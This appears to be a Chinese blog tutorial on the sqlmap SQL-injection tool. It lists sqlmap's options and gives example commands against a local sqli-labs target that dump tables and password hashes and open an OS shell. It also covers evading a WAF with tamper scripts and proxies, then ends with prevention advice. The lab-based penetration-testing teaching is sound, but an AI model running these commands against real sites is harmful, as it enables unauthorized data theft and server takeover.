这些选项可用于自定义检测阶段 --level=LEVEL 要执行的测试级别(1-5,默认值1) --risk=RISK 要执行的测试风险级别(1-3,默认值1) --string=STRING 当查询评估为True时要匹配的字符串 --not-string=NOT.. 当查询评估为False时要匹配的字符串 --regexp=REGEXP 当查询评估为True时要匹配的正则表达式 --code=CODE 当查询评估为True时要匹配的HTTP代码 --smart 仅在存在正面启发式时执行彻底的测试 --text-only 仅基于文本内容比较页面 --titles 仅基于页面标题比较页面 技术: 这些选项可用于调整特定SQL注入技术的测试 --technique=TECH.. 要使用的SQL注入技术(默认值"BEUSTQ") --time-sec=TIMESEC 延迟DBMS响应的秒数(默认值5) --union-cols=UCOLS 要测试UNION查询SQL注入的列范围 --union-char=UCHAR 用于暴力破解列数的字符 --union-from=UFROM 在UNION查询SQL注入的FROM部分中使用的表 --union-values=U.. 用于UNION查询SQL注入的列值 --dns-domain=DNS.. 用于DNS泄露攻击的域名 --second-url=SEC.. 搜索第二次响应的结果页面URL --second-req=SEC.. 从文件中加载第二次HTTP请求 指纹识别: -f, --fingerprint 执行详细的DBMS版本指纹识别 枚举: 这些选项可用于枚举后端数据库管理系统中的信息、结构和数据 -a, --all 检索所有内容 -b, --banner 检索DBMS横幅 --current-user 检索DBMS当前用户 --current-db 检索DBMS当前数据库 --hostname 检索DBMS服务器主机名 --is-dba 检测DBMS当前用户是否为DBA --users 枚举DBMS用户 --passwords 枚举DBMS用户密码哈希值 --privileges 枚举DBMS用户权限 --roles 枚举DBMS用户角色 --dbs 枚举DBMS数据库 --tables 枚举DBMS数据库表 --columns 枚举DBMS数据库表列 --schema 枚举DBMS模式 --count 检索表的条目数 --dump 转储DBMS数据库表条目 --dump-all 转储所有DBMS数据库表条目 --search 搜索列、表和/或数据库名称 --comments 在枚举过程中检查DBMS注释 --statements 检索在DBMS上运行的SQL语句 -D DB 要枚举的DBMS数据库 -T TBL 要枚举的DBMS数据库表 -C COL 要枚举的DBMS数据库表列 -X EXCLUDE 不要枚举的DBMS数据库标识符 -U USER 要枚举的DBMS用户 --exclude-sysdbs 在枚举表时排除DBMS系统数据库 --pivot-column=P.. 枢轴列名称 --where=DUMPWHERE 在转储表时使用WHERE条件 --start=LIMITSTART 要检索的第一个转储表条目 --stop=LIMITSTOP 要检索的最后一个转储表条目 --first=FIRSTCHAR 要检索的第一个查询输出单词字符 --last=LASTCHAR 要检索的最后一个查询输出单词字符 --sql-query=SQLQ.. 要执行的SQL语句 --sql-shell 提示进行交互式SQL shell --sql-file=SQLFILE 从给定文件中执行SQL语句 暴力破解: 这些选项可用于运行暴力破解检查 --common-tables 检查常见表的存在 --common-columns 检查常见列的存在 --common-files 检查常见文件的存在 用户定义函数注入: 这些选项可用于创建自定义的用户定义函数 --udf-inject 注入自定义的用户定义函数 --shared-lib=SHLIB 共享库的本地路径 文件系统访问: 这些选项可用于访问后端数据库管理系统的底层文件系统 --file-read=FILE.. 从后端DBMS文件系统中读取文件 --file-write=FIL.. 在后端DBMS文件系统上写入本地文件 --file-dest=FILE.. 要写入的后端DBMS绝对文件路径 操作系统访问: 这些选项可用于访问后端数据库管理系统的底层操作系统 --os-cmd=OSCMD 执行操作系统命令 --os-shell 提示进行交互式操作系统shell --os-pwn 提示进行OOB shell、Meterpreter或VNC --os-smbrelay 一键提示进行OOB shell、Meterpreter或VNC --os-bof 存储过程缓冲区溢出利用 --priv-esc 数据库进程用户权限提升 --MSF-path=MSFPATH Metasploit Framework安装的本地路径 --tmp-path=TMPPATH 临时文件目录的远程绝对路径 Windows注册表访问: 这些选项可用于访问后端数据库管理系统的Windows注册表 --reg-read 读取Windows注册表键值 --reg-add 写入Windows注册表键值数据 --reg-del 删除Windows注册表键值 --reg-key=REGKEY Windows注册表键 --reg-value=REGVAL Windows注册表键值 --reg-data=REGDATA Windows注册表键值数据 --reg-type=REGTYPE Windows注册表键值类型 常规: 这些选项可用于设置一些常规工作参数 -s SESSIONFILE 从存储的(.sqlite)文件中加载会话 -t TRAFFICFILE 将所有HTTP流量记录到文本文件中 --abort-on-empty 在结果为空时中止数据检索 --answers=ANSWERS 设置预定义的答案(例如"quit=N,follow=N") --base64=BASE64P.. 包含Base64编码数据的参数 --base64-safe 使用URL和文件名安全的Base64字母表(RFC 4648) --batch 不要询问用户输入,使用默认行为 --binary-fields=.. 具有二进制值的结果字段(例如"digest") --check-internet 在评估目标之前检查互联网连接 --cleanup 从sqlmap特定的UDF和表中清理DBMS --crawl=CRAWLDEPTH 从目标URL开始爬取网站 --crawl-exclude=.. 用于排除爬取的页面的正则表达式(例如"logout") --csv-del=CSVDEL CSV输出中使用的分隔字符(默认值",") --charset=CHARSET 盲SQL注入字符集(例如"0123456789abcdef") --dump-file=DUMP.. 将转储的数据存储到自定义文件中 --dump-format=DU.. 转储数据的格式(CSV(默认值),HTML或SQLITE) --eta 为每个输出显示预计到达时间 --flush-session 清除当前目标的会话文件 --forms 解析和测试目标URL上的表单 --fresh-queries 忽略会话文件中存储的查询结果 --gpage=GOOGLEPAGE 使用指定的页码从Google dork结果中获取 --har=HARFILE 将所有HTTP流量记录到HAR文件中 --hex 在数据检索过程中使用十六进制转换 --output-dir=OUT.. 自定义输出目录路径 --parse-errors 解析和显示来自响应的DBMS错误消息 --preprocess=PRE.. 用于预处理的给定脚本(请求) --postprocess=PO.. 用于后处理的给定脚本(响应) --repair 重新转储具有未知字符标记(?)的条目 --save=SAVECONFIG 将选项保存到配置INI文件中 --scope=SCOPE 用于过滤目标的正则表达式 --skip-heuristics 跳过启发式检测漏洞 --skip-WAF 跳过启发式检测WAF/IPS保护 --table-prefix=T.. 用于临时表的前缀(默认值:"sqlmap") --test-filter=TE.. 通过负载和/或标题选择测试(例如ROW) --test-skip=TEST.. 通过负载和/或标题跳过测试(例如BENCHMARK) --time-limit=TIM.. 以秒为单位设置运行时间限制(例如3600) --web-root=WEBROOT Web服务器文档根目录(例如"/var/www") 杂项: 这些选项不属于任何其他类别 -z MNEMONICS 使用短助记符(例如"flu,bat,ban,tec=EU") --alert=ALERT 在发现SQL注入时运行主机操作系统命令 --beep 在提问时和/或发现漏洞时发出蜂鸣声 --dependencies 检查缺失的(可选的)sqlmap依赖项 --disable-coloring 禁用控制台输出着色 --list-tampers 显示可用的篡改脚本列表 --no-logging 禁用日志记录到文件 --offline 在离线模式下工作(仅使用会话数据) --purge 安全地从sqlmap数据目录中删除所有内容 --results-file=R.. 多目标模式下CSV结果文件的位置 --shell 提示进行交互式sqlmap shell --tmp-dir=TMPDIR 用于存储临时文件的本地目录 --unstable 调整不稳定连接的选项 --update 更新sqlmap --wizard 面向初学者用户的简单向导界面 sqlmap基本参数使用以下是sqlmap的一些参数的基本使用,高级用法自行琢磨-u 指定一个urlsqlmap -u 'http://192.168.209.131/Less-1/?id=1'-m 指定一个文件中的多个urlsqlmap -m url.txt逐个扫描url,需要确认就按y。扫描完一个,就会提示是否存在注入点。之后进行第二个url扫描或者使用 -batch默认sqlmap -m url.txt -batch使用–batch参数,可以在所有需要用户输入的部分(通常是询问执行yes还是no,Y/N),执行默认操作,即选项大写的那个,不需要用户再输入--dbms指定该网站数据库类型sqlmap支持的数据库包括且不限于 MySQL Oracle PostgreSQL Microsoft SQL Server Microsoft Access IBM DB2 SQLite Firebird Sybase SAP MaxDB sqlmap默认情况下会自动检测Web应用程序的后端数据库的类型。在我们明确知道测试的数据库类型时,可以使用--dbms可以指定数据库。sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --dbms='mysql'--current-db获取网站当前使用的数据库sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --dbms='mysql' --current-db-b获取数据库版本sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -b--current-user获取当前用户sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --current-user--users 获取所有用户sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -users--passwords 获取用户密码sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --passwords得到结果--privileges获取用户权限sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --privileges最后面显示每个数据库用户所拥有的权限。这里root的权限最多,很明显它就是数据库的管理员账号。判断当前数据库是否是管理员账号(这里不知道为什么显示为False,前面使用privileges明明root权限最多)sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --is-dba列出指定/所有的数据--dbs列出所有的数据库sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --dbs指定数据库/表/字段-D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。-T 指定目标「表」,单/双引号包裹,常配合其他参数使用。-C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -D 'security' -T 'users' -C 'username' --dump--tables 列出指定数据库中所有的表sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -D security --tables--columns 列出指定数据库中的表的全部列sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -D security -T users --columns--schema 枚举DBMS模式获取字段类型,可以指定库或指定表。不指定则获取数据库中所有字段的类型。--dump 转储DBMS数据库表条目(当前数据库/表/列中的所有内容)--dump-all 转储所有DBMS数据库表条目(爆出整个mysql数据库的数据内容)--hostname获取主机名称sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --hostnamepost注入,要求使用burp suite抓包,将这个包中的信息,保存到一个txt文件中-r指定需要检测的文件sqlmap -r bp.txt--cookie 指定cookie信息,模拟用户登录sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --cookie='cookie'-a 等同于 -all 获取所有能获取的内容,会消耗很长时间。sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -a--search 搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名。比如我需要搜索security这个数据库模糊搜索一个表名sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -T 'ser' --search这里有两个选项,选项一表示根据关键字模糊搜索,选项二表示精准搜索搜索结果精准搜索某一个表名sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -T 'users' --search当然也可以指定 -D 数据库,-C 字段搜索使用--flush-session参数表示清除当前目标的会话文件。 sqlmap在测试某一目标URL后会生成session文件,该文件保存了本次测试的结果信息。当我们再次测试该目标URL时,会自动加载上一次的结果就比如我们已经绕过了某个WAF,并且取得了数据结果sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --tamper "bypassDog2.py" --level 5 --random-agent --dump -batch此时我们不使用脚本,使用普通的一个payload,这个时候就直接出结果了sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id'如果我们想要继续之前的测试,包含WAF的测试过程就需要使用清除缓存--flush-session,一切正常--technique 使用方法:sqlmap -u URL --technique 注入类型选项(可多种组合) 使用--flush-session参数可用于指定要测试的SQL注入类型,默认情况下,sqlmap会测试所有的注入类型。如果想指定测试某几种诸如类型,可以使用--technique指定。sqlmap针对每一种类型,提供了字母选项,可以组合字母选项来指定多种注入类型进行测试。备注:注入类型对应的参数 B:基于布尔的盲注 E:基于错误 U:基于联合查询 S:堆叠查询 T:基于时间的盲注 Q:内联查询 使用示例:sqlmap -u URL --technique BE表示仅测试布尔盲注和基于报错的注入。默认为BEUSTQ没有设置ua头的时候,默认是sqlmap的请求头,很容易被网站检测到sqlmap -u 'http://192.168.3.100:88/Less-1/?id=1' -p 'id' -v 6--random-agent 使用方法:sqlmap -u URL --random-agent 使用--random-agent参数可以指定随机选择请求头中的User-Agent。 sqlmap默认使用sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org) 作为User-Agent执行HTTP请求,如下:sqlmap -u 'http://192.168.3.100:88/Less-1/?id=1' -p 'id' --random-agent -v 6--user-agent使用方法:sqlmap -u URL --user-agent="自定义User-Agent" 使用--user-agent参数可指定自定义User-Agent--mobile #模拟手机请求使用手机UA头的模拟,并根据提示选择模拟的手机类型--level 使用方法:Python sqlmap.py -u URL --level 等级 使用--level参数可指定payload测试复杂等级。共有五个级别,从1-5,默认值为1。等级越高,测试的payload越复杂,当使用默认等级注入不出来时,可以尝试使用–level来提高测试等级。--os-shell这个参数使用之前必须确保网站的mysql允许文件读写的路径不为NULL,登录你的mysqlmysql>show global variables like "secure_file_priv";解决办法在mysql目录中找到my.ini,添加如下内容,然后重启mysql重启之后这里我们假设已经知道了网站的目录为:E:phpstudy_proWWWsqliLess-2sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --os-shell尝试执行命令,执行成功--web-root指定网站目录sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --web-root='E:phpstudy_proWWWsqliLess-2' --os-shell这样我们就不用在交互式选项中输入网站路径了,直接得到shell安全狗WAF绕过网站使用的是sqli靶场进行测试http://192.168.209.131/Less-2/?id=1%27%20and%201=1安全狗waf环境,payload示例sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --level 5 --random-agent --flush-session --dump提示我们有waf拦截--identify-waf 识别waf,貌似不能用了sqlmap自带的WAF绕过--skip-waf脚本使用,将脚本传入到这个路径bypassDog2.py(攻击脚本具有危害性,作者不予提供,以下仅供参考,也可以使用kali自带的sqlmap攻击脚本进行测试)/usr/share/sqlmap/tamper/指定脚本--tamper "bypassDog.py"一个完整sqlmap使用脚本示例sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --tamper "bypassDog2.py" --level 5 --random-agent --dump当然,如果网站使用了ip封禁机制,可以使用代理或者代理池sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --tamper "bypassDog2.py" --level 5 --random-agent --proxy='http://xxx.xxx.xxx.xxx:端口号' --dumpsql注入的预防1. 使用参数化查询(Prepared Statements)参数化查询是预防SQL注入的最有效方法之一。通过将SQL代码和查询参数分开,可以防止恶意SQL代码的执行。大多数现代数据库接口都支持参数化查询。示例(Python 使用 psycopg2 连接 PostgreSQL):import psycopg2 # 连接数据库 conn = psycopg2.connect("dbname=test user=postgres") cur = conn.cursor() # 使用参数化查询 user_input = "O'Reilly" # 尝试注入的输入 cur.execute("SELECT * FROM users WHERE username = %s", (user_input,)) rows = cur.fetchall() for row in rows: print(row) cur.close() conn.close()示例(PHP 使用 PDO):<?php $host = '127.0.0.1'; $db = 'test'; $user = 'root'; $pass = ''; $charset = 'utf8mb4'; $dsn = "mysql:host=$host;dbname=$db;charset=$charset"; $options = [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, ]; try { $pdo = new PDO($dsn, $user, $pass, $options); $user_input = "O'Reilly"; // 尝试注入的输入 $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username"); $stmt->execute(['username' => $user_input]); $result = $stmt->fetchAll(); print_r($result); } catch (PDOException $e) { throw new PDOException($e->getMessage(), (int)$e->getCode()); } ?>2. 使用ORM(对象关系映射)ORM框架如Hibernate、Django ORM等,内部实现了参数化查询,从而自动防止SQL注入。使用ORM可以简化数据库操作,同时提高安全性。示例(Django ORM):from myapp.models import User user_input = "O'Reilly" # 尝试注入的输入 users = User.objects.filter(username=user_input) for user in users: print(user.username)3. 严格限制数据库权限确保数据库用户只拥有执行其所需操作的最小权限集。例如,一个Web应用程序的用户数据库账户可能只需要对特定表的SELECT和UPDATE权限,而不需要对数据库的DROP或ALTER权限。4. 使用Web应用防火墙(WAF)部署Web应用防火墙可以检测和阻止SQL注入攻击。WAF可以识别并拦截包含潜在恶意SQL代码的HTTP请求。5. 输入验证虽然输入验证不是防止SQL注入的可靠方法(因为它可能无法覆盖所有可能的注入场景),但它可以作为额外的安全层。验证所有用户输入,确保它们符合预期的格式和类型。总结通过本文的学习,读者不仅掌握了sqlmap的基本使用方法,还深入了解了其高级特性和绕过技巧。从目标URL的指定、请求参数的配置,到注入技术的选择、数据库信息的枚举,再到操作系统命令的执行,sqlmap展现出了其作为渗透测试工具的强大功能和灵活性。在实际应用中,sqlmap能够帮助安全研究人员和渗透测试人员快速发现Web应用程序中的SQL注入漏洞,并通过进一步的枚举和分析,揭示潜在的安全风险。同时,通过合理的配置和技巧应用,sqlmap还能有效绕过WAF等安全防护措施,提高渗透测试的成功率。然而,值得注意的是,sqlmap作为一款强大的渗透测试工具,其使用必须遵守法律法规和道德规范。未经授权的渗透测试可能构成非法行为,因此在使用sqlmap进行渗透测试时,务必确保已获得合法授权,并遵守相关安全政策和标准。总之,sqlmap是安全研究和渗透测试中不可或缺的工具之一。通过本文的学习,读者不仅能够掌握其基本和高级用法,还能在实际操作中灵活运用,提高渗透测试的效率与成功率,为Web应用程序的安全防护贡献力量。文章参考:https://blog.csdn.net/weixin_43819747/article/details/136736688https://blog.csdn.net/qq_45927266/article/details/119297840原文:https://mp.weixin.qq.com/s/j6lN3j7rtALUX4gAH5ll3Q
2025年05月18日
782 阅读
0 评论
0 点赞
1
2